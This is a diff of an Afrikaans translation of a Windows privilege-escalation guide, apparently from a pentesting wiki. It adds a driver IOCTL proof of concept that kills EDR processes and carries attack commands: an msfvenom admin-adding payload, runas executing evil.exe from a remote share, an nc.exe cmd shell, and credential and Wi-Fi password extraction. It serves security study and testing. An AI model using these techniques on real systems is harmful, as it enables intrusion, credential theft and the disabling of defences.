opgeskaal word deur verskeie permissies: -- **SERVICE_CHANGE_CONFIG**: Laat herkonfigurasie van die service binary toe. -- **WRITE_DAC**: Stel toestemming-herkonfigurasie in, wat lei tot die vermoë om service-konfigurasies te verander. -- **WRITE_OWNER**: Maak eienaarskapverkryging en toestemming-herkonfigurasie moontlik. +- **SERVICE_CHANGE_CONFIG**: Laat toe om die service binary te herkonfigureer. +- **WRITE_DAC**: Stel jou in staat om permissies te herkonfigureer, wat tot die vermoë lei om service-konfigurasies te verander. +- **WRITE_OWNER**: Maak eienaarskapverkryging en herkonfigurasie van permissies moontlik. - **GENERIC_WRITE**: Erf die vermoë om service-konfigurasies te verander. - **GENERIC_ALL**: Erf ook die vermoë om service-konfigurasies te verander. Vir die opsporing en uitbuiting van hierdie kwesbaarheid kan die _exploit/windows/local/service_permissions_ gebruik word. -### Swak permissies op service binaries +### Swakke permissies op service-binaries -**Kontroleer of jy die binary wat deur 'n service uitgevoer word, kan wysig** of as jy **skryfregte op die vouer** het waar die binary geleë is ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Jy kan elke binary wat deur 'n service uitgevoer word kry met **wmic** (nie in system32 nie) en jou toestemmings nagaan met **icacls**: +**Kontroleer of jy die binary wat deur 'n service uitgevoer word kan wysig** of as jy **write permissions on the folder** het waar die binary geleë is ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Jy kan elke binary wat deur 'n service uitgevoer word kry met **wmic** (nie in system32 nie) en jou permissies nagaan met **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -518,10 +519,10 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Diensregister: wysig toestemmings +### Toestemmings om 'n diensregister te wysig Jy moet nagaan of jy enige diensregister kan wysig.\ -Jy kan jou **toestemmings** oor 'n **diensregister** **nagaan** deur: +Jy kan jou **toestemmings** oor 'n diens **register** nagaan deur: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -530,24 +531,23 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Dit moet nagegaan word of **Authenticated Users** of **NT AUTHORITY\INTERACTIVE** `FullControl`-toestemmings besit. Indien wel, kan die binary wat deur die service uitgevoer word, verander word. +Daar moet nagegaan word of **Authenticated Users** of **NT AUTHORITY\INTERACTIVE** die `FullControl`-toestemmings besit. Indien wel, kan die binary wat deur die diens uitgevoer word, verander word. -Om die Path van die uitgevoerde binary te verander: +Om die Path van die binary wat uitgevoer word, te verander: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` ### Dienste-register AppendData/AddSubdirectory toestemmings -As jy hierdie toestemming oor 'n register het, beteken dit dat **jy sub-registrasies vanaf hierdie een kan skep**. In die geval van Windows-dienste is dit **voldoende om ewekansige kode uit te voer:** - +As jy hierdie toestemming oor 'n register het, beteken dit dat **jy sub-registers vanaf hierdie een kan skep**. In die geval van Windows-dienste is dit **genoeg om arbitrêre kode uit te voer:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Dienspade sonder aanhalingstekens +### Ongequoteerde Service-paaie -As die pad na 'n uitvoerbare lêer nie binne aanhalingstekens is nie, sal Windows probeer om elke deel voor 'n spasie uit te voer. +As die pad na 'n uitvoerbare lêer nie tussen aanhalingstekens is nie, sal Windows probeer om elke gedeelte wat voor 'n spasie eindig uit te voer. Byvoorbeeld, vir die pad _C:\Program Files\Some Folder\Service.exe_ sal Windows probeer om die volgende uit te voer: ```bash @@ -555,7 +555,7 @@ C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Lys alle dienspaaie sonder aanhalingstekens, uitgesluit dié wat by ingeboude Windows-dienste behoort: +Lys alle unquoted service paths, uitgesluit dié wat aan ingeboude Windows services behoort: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -575,19 +575,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Jy kan hierdie kwesbaarheid opspoor en uitbuit** met metasploit: `exploit/windows/local/trusted\_service\_path` Jy kan handmatig 'n service binary met metasploit skep: +**Jy kan opspoor en uitbuit** hierdie kwesbaarheid met metasploit: `exploit/windows/local/trusted\_service\_path` Jy kan handmatig 'n service-binary met metasploit skep: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Herstelaksies -Windows laat gebruikers toe om aksies te spesifiseer wat geneem moet word indien 'n diens faal. Hierdie funksie kan gekonfigureer word om na 'n binary te verwys. As hierdie binary vervangbaar is, kan privilege escalation moontlik wees. Meer besonderhede is beskikbaar in die [amptelike dokumentasie](). +Windows laat gebruikers toe om aksies te spesifiseer wat geneem moet word as 'n service misluk. Hierdie funksie kan gekonfigureer word om na 'n binary te wys. As hierdie binary vervangbaar is, mag privilege escalation moontlik wees. Meer besonderhede kan gevind word in die [amptelike dokumentasie](). -## Toepassings +## Programme -### Geïnstalleerde toepassings +### Geïnstalleerde Programme -Kontroleer die **permissions of the binaries** (miskien kan jy een overwrite en escalate privileges) en die **folders** ([DLL Hijacking](dll-hijacking/index.html)). +Kontroleer **permissions of the binaries** (miskien kan jy een overwrite en escalate privileges) en van die **folders** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -598,9 +598,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Skryfregte -Kontroleer of jy 'n konfigurasielêer kan wysig om 'n spesiale lêer te lees, of jy 'n binêre lêer kan wysig wat later deur 'n Administrator-rekening (schedtasks) uitgevoer gaan word. +Kyk of jy 'n config-lêer kan wysig om 'n spesiale lêer te lees, of 'n binary kan wysig wat deur 'n Administrator-rekening (schedtasks) uitgevoer gaan word. -'n Manier om swak map-/lêertoestemmings in die stelsel te vind, is om te doen: +Een manier om swak vouer-/lêerregte in die stelsel te vind, is om die volgende te doen: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -625,7 +625,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Voer by opstart uit -**Kontroleer of jy 'n registry of binary kan oorskryf wat deur 'n ander gebruiker uitgevoer gaan word.**\ +**Kontroleer of jy 'n registry- of binary-lêer kan oorskryf wat deur 'n ander gebruiker uitgevoer gaan word.**\ **Lees** die **volgende bladsy** om meer te leer oor interessante **autoruns locations to escalate privileges**: @@ -633,26 +633,59 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac privilege-escalation-with-autorun-binaries.md {{#endref}} -### Drivers +### Drywers -Soek na moontlike **derdeparty vreemde/kwetsbare** drivers +Kyk vir moontlike **derdeparty vreemde/kwetsbare** drywers ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -As 'n driver 'n arbitrary kernel read/write primitive blootstel (algemeen in swak ontwerpte IOCTL handlers), kan jy escalate deur 'n SYSTEM token direk uit kernel memory te steel. Sien die stap‑vir‑stap tegniek hier: +As 'n driver 'n arbitrary kernel read/write primitive blootstel (algemeen in swak ontwerpte IOCTL handlers), kan jy eskaleer deur 'n SYSTEM token direk uit kernel memory te steel. Sien die stap‑vir‑stap tegniek hier: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} +#### Misbruik van ontbrekende FILE_DEVICE_SECURE_OPEN op device objects (LPE + EDR kill) + +Sommige gesigneerde derde‑party drivers skep hul device object met 'n sterk SDDL via IoCreateDeviceSecure maar vergeet om FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics te stel. Sonder hierdie vlag word die secure DACL nie afgedwing wanneer die device oopgemaak word via 'n pad wat 'n ekstra komponent bevat nie, wat enige onbevoorregte gebruiker toelaat om 'n handle te kry deur 'n namespace path soos: + +- \\ .\\DeviceName\\anything +- \\ .\\amsdk\\anyfile (from a real-world case) + +Sodra 'n gebruiker die device kan open, kan die privileged IOCTLs wat deur die driver blootgestel word misbruik word vir LPE en tampering. Voorbeelde van vermoëns wat in die praktyk waargeneem is: +- Gee full-access handles aan arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser). +- Onbeperkte raw disk read/write (offline tampering, boot-time persistence tricks). +- Terminate arbitrary processes, insluitend Protected Process/Light (PP/PPL), wat AV/EDR kill vanaf user land via die kernel moontlik maak. + +Minimale PoC-patroon (user mode): +```c +// Example based on a vulnerable antimalware driver +#define IOCTL_REGISTER_PROCESS 0x80002010 +#define IOCTL_TERMINATE_PROCESS 0x80002048 + +HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); +DWORD me = GetCurrentProcessId(); +DWORD target = /* PID to kill or open */; +DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); +DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); +``` +Mitigasies vir ontwikkelaars +- Stel altyd FILE_DEVICE_SECURE_OPEN in wanneer jy device objects skep wat bedoel is om deur 'n DACL beperk te word. +- Valideer caller context vir bevoorregte operasies. Voeg PP/PPL checks by voordat jy prosesbeëindiging of handle returns toelaat. +- Beperk IOCTLs (access masks, METHOD_*, input validation) en oorweeg brokered models eerder as direkte kernel privileges. + +Detectie-idees vir verdedigers +- Monitor user-mode opens of suspicious device names (e.g., \\ .\\amsdk*) en spesifieke IOCTL-reekse wat misbruik aandui. +- Enforce Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) en handhaaf jou eie allow/deny-lyste. + ## PATH DLL Hijacking -As jy **write permissions inside a folder present on PATH** het, kan jy moontlik 'n DLL wat deur 'n proses gelaai is hijack en **escalate privileges**. +As jy **skryfregte in 'n gids wat op PATH voorkom** het, kan jy moontlik 'n DLL wat deur 'n proses gelaai is kaap en **escalate privileges**. -Kontroleer permissies van alle gidse in PATH: +Kontroleer die toestemmings van alle gidse binne PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` @@ -665,7 +698,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md ## Netwerk -### Gedeelde vouers +### Gedeelde hulpbronne ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains @@ -673,9 +706,9 @@ net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` -### hosts-lêer +### hosts file -Kontroleer vir ander bekende rekenaars wat in die hosts-lêer hardgekodeer is +Kyk vir ander bekende rekenaars wat hardcoded in die hosts file is. ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -687,11 +720,11 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Oop Poorte -Kyk vir **beperkte dienste** van buite +Kontroleer vir **beperkte dienste** van buite ```bash netstat -ano #Opened ports? ``` -### Roeteringstabel +### Roetetabel ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex @@ -701,18 +734,18 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Firewall Rules +### Firewall Reëls -[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(lys reëls, skep reëls, skakel af, skakel af...)** +[**Kyk na hierdie bladsy vir Firewall-verwante opdragte**](../basic-cmd-for-pentesters.md#firewall) **(lys reëls, skep reëls, skakel af, skakel af...)** -Meer[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) +Meer[ opdragte vir netwerk-enumerasie hier](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -Die binêre `bash.exe` kan ook gevind word in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` +Binary `bash.exe` kan ook gevind word in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` As jy root user kry, kan jy op enige poort luister (die eerste keer wat jy `nc.exe` gebruik om op 'n poort te luister, sal dit via die GUI vra of `nc` deur die firewall toegelaat moet word). ```bash @@ -721,13 +754,13 @@ wsl whoami wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -Om maklik bash as root te begin, kan jy `--default-user root` probeer. +Om maklik bash as root te begin, kan jy probeer `--default-user root` -Jy kan die `WSL` lêerstelsel verken in die gids `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` +Jy kan die `WSL` lêerstelsel in die vouer `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` verken -## Windows-aanmeldbewyse +## Windows Credentials -### Winlogon-aanmeldbewyse +### Winlogon Credentials ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" @@ -741,14 +774,14 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ``` ### Credentials manager / Windows vault -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Die Windows Vault stoor gebruikerscredentials vir servers, webwerwe en ander programme wat **Windows** die gebruikers outomaties kan aanmeld. Op die eerste oogopslag lyk dit asof gebruikers hul Facebook credentials, Twitter credentials, Gmail credentials, ens. kan stoor sodat hulle outomaties via blaaiers aangemeld word. Maar dit is nie so nie. +Van [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Die Windows Vault stoor gebruikersinlogbewyse vir bedieners, webwerwe en ander programme waarmee **Windows** gebruikers **outomaties kan aanmeld**. Op die oog af mag dit lyk asof gebruikers nou hul Facebook-, Twitter- en Gmail-inlogbewyse ens. kan stoor sodat hulle outomaties via blaaiers aanmeld. Maar dit is nie so nie. -Windows Vault stores credentials that Windows can log in the users automatically, which means that any **Windows application that needs credentials to access a resource** (server or a website) **can make use of this Credential Manager** & Windows Vault and use the credentials supplied instead of users entering the username and password all the time. +Die Windows Vault stoor inlogbewyse wat Windows kan gebruik om gebruikers outomaties aan te meld, wat beteken dat enige **Windows-toepassing wat inlogbewyse benodig om toegang tot 'n bron te kry** (bediener of webwerf) **deur hierdie Credential Manager en Windows Vault gebruik kan word** en die verskafde inlogbewyse kan gebruik in plaas daarvan dat gebruikers elke keer die gebruikersnaam en wagwoord moet invoer. -Tensy die toepassings met Credential Manager interaksie het, dink ek nie dit is moontlik vir hulle om die credentials vir ’n bepaalde bron te gebruik nie. Dus, as jou toepassing die vault wil gebruik, moet dit op een of ander manier **communicate with the credential manager and request the credentials for that resource** vanaf die standaard stoor-vault. +Tensy die toepassings met Credential Manager interaksie het, dink ek nie dit is moontlik vir hulle om die inlogbewyse vir 'n gegewe bron te gebruik nie. Dus, as jou toepassing die vault wil gebruik, moet dit op een of ander manier **met die credential manager kommunikeer en die inlogbewyse vir daardie bron** uit die standaard stoorvault aanvra. -Gebruik die `cmdkey` om die gestoorde credentials op die masjien te lys. +Gebruik die `cmdkey` om die gestoorde inlogbewyse op die masjien te lys. ```bash cmdkey /list Currently stored credentials: @@ -756,23 +789,23 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Dan kan jy `runas` gebruik met die `/savecred` opsies om die gestoorde kredensiale te gebruik. Die volgende voorbeeld roep 'n afgeleë binêre via 'n SMB-share aan. +Dan kan jy `runas` met die `/savecred` opsies gebruik om die gestoorde credentials te gebruik. Die volgende voorbeeld roep 'n afgeleë binary via 'n SMB share aan. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Gebruik van `runas` met 'n voorsiene stel credentials. +Gebruik van `runas` met 'n gegewe stel credential. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Let wel dat mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), of die [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -Die **Data Protection API (DPAPI)** bied 'n metode vir symmetriese enkripsie van data, hoofsaaklik gebruik binne die Windows-bedryfstelsel vir die symmetriese enkripsie van asymmetriese private sleutels. Hierdie enkripsie maak gebruik van 'n gebruiker- of stelselgeheim om aansienlik by te dra tot entropie. +Die **Data Protection API (DPAPI)** bied 'n metode vir symmetriese enkripsie van data, hoofsaaklik gebruik binne die Windows bedryfstelsel vir die symmetriese enkripsie van asymmetriese private sleutels. Hierdie enkripsie gebruik 'n gebruiker- of stelselgeheim wat beduidend tot entropie bydra. -**DPAPI maak die enkripsie van sleutels moontlik deur 'n symmetriese sleutel wat afgelei is van die gebruiker se aanmeldgeheime**. In scenario's wat stelsel-enkripsie behels, gebruik dit die stelsel se domeinverifikasiegeheime. +**DPAPI maak die enkripsie van sleutels moontlik deur 'n symmetriese sleutel wat afgelei word van die gebruiker se aanmeldgeheime**. In scenario's wat stelsel-enkripsie betrek, gebruik dit die stelsel se domeinverifikasiegeheime. -Versleutelde gebruikers-RSA-sleutels, deur DPAPI gebruik, word gestoor in die `%APPDATA%\Microsoft\Protect\{SID}` gids, waar `{SID}` die gebruiker se [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) voorstel. **Die DPAPI-sleutel, wat saam met die master-sleutel wat die gebruiker se private sleutels in dieselfde lêer beskerm, saamgeberg is**, bestaan tipies uit 64 bytes ewekansige data. (Dit is belangrik om te let dat toegang tot hierdie gids beperk is, wat voorkom dat die inhoud via die `dir` opdrag in CMD gelys kan word, alhoewel dit deur PowerShell gelys kan word). +Versleutelde gebruikers RSA-sleutels, deur gebruik te maak van DPAPI, word in die %APPDATA%\Microsoft\Protect\{SID} directory gestoor, waar {SID} die gebruiker se [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) verteenwoordig. **Die DPAPI-sleutel, saam-geplek met die meester-sleutel wat die gebruiker se private sleutels in dieselfde lêer beskerm**, bestaan gewoonlik uit 64 bytes ewekansige data. (Dit is belangrik om te let dat toegang tot hierdie directory beperk is, wat voorkom dat die inhoud met die dir command in CMD gelys kan word, alhoewel dit via PowerShell gelys kan word). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ @@ -786,19 +819,19 @@ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Jy kan die **mimikatz module** `dpapi::cred` gebruik met die toepaslike `/masterkey` om te ontsleutel.\ -Jy kan **ekstrakteer baie DPAPI** **masterkeys** uit **memory** met die `sekurlsa::dpapi` module (as jy root is). +Jy kan die **mimikatz module** `dpapi::cred` met die toepaslike `/masterkey` gebruik om te ontsleutel.\ +Jy kan **baie DPAPI** **masterkeys** uit **memory** onttrek met die `sekurlsa::dpapi` module (as jy root is). {{#ref}} dpapi-extracting-passwords.md {{#endref}} -### PowerShell Inlogbewyse +### PowerShell Credentials -**PowerShell-inlogbewyse** word dikwels gebruik vir **scripting** en outomatiseringstake as 'n manier om geïnkripteerde inlogbewyse gerieflik te stoor. Die inlogbewyse word beskerm deur **DPAPI**, wat gewoonlik beteken dat hulle slegs deur dieselfde gebruiker op dieselfde rekenaar waar hulle geskep is, ontsleutel kan word. +**PowerShell credentials** word dikwels gebruik vir **scripting** en outomatiseringstake as 'n manier om geïnkripteerde credentials gerieflik te stoor. Die credentials word beskerm deur **DPAPI**, wat gewoonlik beteken dat hulle slegs deur dieselfde gebruiker op dieselfde rekenaar waarop hulle geskep is, ontsleutel kan word. -Om 'n PS-inlogbewys uit die lêer wat dit bevat te **ontsleutel** kan jy die volgende doen: +Om 'n PS credentials uit die lêer wat dit bevat te **ontsleutel**, kan jy doen: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -818,34 +851,34 @@ netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on* ``` -### Gestoorde RDP-verbindinge +### Gestoor RDP-verbindinge -Jy kan hulle vind op `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +Jy kan hulle vind by `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ en in `HKCU\Software\Microsoft\Terminal Server Client\Servers\` -### Onlangs uitgevoerde kommando's +### Onlangs uitgevoerde opdragte ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Beheerder van Remote Desktop-inlogbewyse** +### **Afstandslessenaar Kredensiaalbestuurder** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ -Jy kan **veel DPAPI masterkeys** uit geheue uittrek met die Mimikatz `sekurlsa::dpapi` module +Gebruik die **Mimikatz** `dpapi::rdg` module met die toepaslike `/masterkey` om **enige .rdg-lêers te ontsleutel**\ +Jy kan **baie DPAPI masterkeys** uit geheue onttrek met die Mimikatz `sekurlsa::dpapi` module ### Sticky Notes -Mense gebruik dikwels die StickyNotes-app op Windows-werkstasies om **wagwoorde te stoor** en ander inligting, sonder om te besef dit is 'n databasislêer. Hierdie lêer is geleë by `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` en dit is altyd die moeite werd om daarna te soek en dit te ondersoek. +Mense gebruik dikwels die StickyNotes app op Windows-werkstasies om **wagwoorde te stoor** en ander inligting, sonder om te besef dit is ’n databasislêer. Hierdie lêer is geleë by `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` en is altyd die moeite werd om te soek en te ondersoek. ### AppCmd.exe -**Let wel dat om wagwoorde van AppCmd.exe te herstel, moet jy Administrator wees en onder 'n High Integrity level hardloop.**\ +**Let wel dat om wagwoorde van AppCmd.exe te herstel, moet jy Administrator wees en dit onder ’n High Integrity level uitvoer.**\ **AppCmd.exe** is geleë in die `%systemroot%\system32\inetsrv\` directory.\ -As hierdie lêer bestaan, is dit moontlik dat sekere **credentials** gekonfigureer is en **recovered** kan word. +As hierdie lêer bestaan, is dit moontlik dat sekere **credentials** gekonfigureer is en **herstel** kan word. -This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +Hierdie kode is onttrek vanaf [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -926,37 +959,37 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Kontroleer of `C:\Windows\CCM\SCClient.exe` bestaan .\ -Installers word **run with SYSTEM privileges**, baie is kwesbaar vir **DLL Sideloading (Inligting van** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Installers word **met SYSTEM privileges uitgevoer**, baie is kwesbaar vir **DLL Sideloading (Inligting vanaf** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## Lêers en Registry (Credentials) +## Lêers en Register (Credentials) ### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH Gasheer-sleutels +### Putty SSH gasheersleutels ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH keys in registry +### SSH keys in die register -SSH private sleutels kan binne die registrasiesleutel `HKCU\Software\OpenSSH\Agent\Keys` gestoor word, dus behoort jy te kyk of daar iets interessant daarin is: +SSH private keys kan binne die registersleutel `HKCU\Software\OpenSSH\Agent\Keys` gestoor word, dus moet jy kyk of daar iets interessant daarin is: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -As jy enige inskrywing binne daardie pad vind, is dit waarskynlik 'n gestoor SSH key. Dit word versleuteld gestoor, maar kan maklik ontsleutel word met behulp van [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Indien jy enige inskrywing binne daardie pad vind sal dit waarskynlik 'n bewaarde SSH key wees. Dit word versleuteld gestoor maar kan maklik ontsleutel word deur gebruik te maak van [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ Meer inligting oor hierdie tegniek hier: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -As die `ssh-agent` diens nie loop nie en jy wil hê dit moet outomaties op opstart begin, voer uit: +As die `ssh-agent` service nie loop nie en jy wil hê dit moet outomaties by opstart begin, voer die volgende uit: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Dit lyk asof hierdie tegniek nie meer geldig is nie. Ek het probeer om 'n paar ssh keys te skep, dit by te voeg met `ssh-add` en via ssh by 'n masjien aan te meld. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik van `dpapi.dll` tydens die asymmetriese sleutel-authentisering geïdentifiseer nie. +> Dit lyk of hierdie tegniek nie meer geldig is nie. Ek het probeer om ssh keys te skep, dit by te voeg met `ssh-add` en via ssh op 'n masjien aan te meld. Die register HKCU\Software\OpenSSH\Agent\Keys bestaan nie en procmon het nie die gebruik van `dpapi.dll` tydens die asymmetric key authentication geïdentifiseer nie. ### Onbewaakte lêers ``` @@ -975,7 +1008,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n ``` Jy kan ook na hierdie lêers soek met **metasploit**: _post/windows/gather/enum_unattend_ -Voorbeeld inhoud: +Voorbeeldinhoud: ```xml @@ -1004,7 +1037,7 @@ Voorbeeld inhoud: %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Cloud-toegangsbewyse +### Wolk Kredensiale ```bash #From user home .aws\credentials @@ -1018,13 +1051,13 @@ AppData\Roaming\gcloud\access_tokens.db Soek na 'n lêer genaamd **SiteList.xml** -### Gecachte GPP-wagwoord +### Gekasde GPP-wagwoord -Daar was voorheen 'n funksie beskikbaar wat die uitrol van pasgemaakte plaaslike administratorrekeninge op 'n groep masjiene via Group Policy Preferences (GPP) toegelaat het. Hierdie metode het egter beduidende sekuriteitsgebreke gehad. Eerstens kon die Group Policy Objects (GPOs), wat as XML-lêers in SYSVOL gestoor is, deur enige domeingebruiker bereik word. Tweedens kon die wagwoorde binne hierdie GPPs, wat met AES256 en 'n publiek gedokumenteerde standaard sleutel geënkripteer is, deur enige geauthentiseerde gebruiker ontsleutel word. Dit het 'n ernstige risiko geskep, aangesien dit gebruikers kon toelaat om verhoogde regte te verkry. +Daar was voorheen 'n funksie wat die uitrol van pasgemaakte plaaslike administrateurrekeninge op 'n groep masjiene via Group Policy Preferences (GPP) toegelaat het. Hierdie metode het egter beduidende 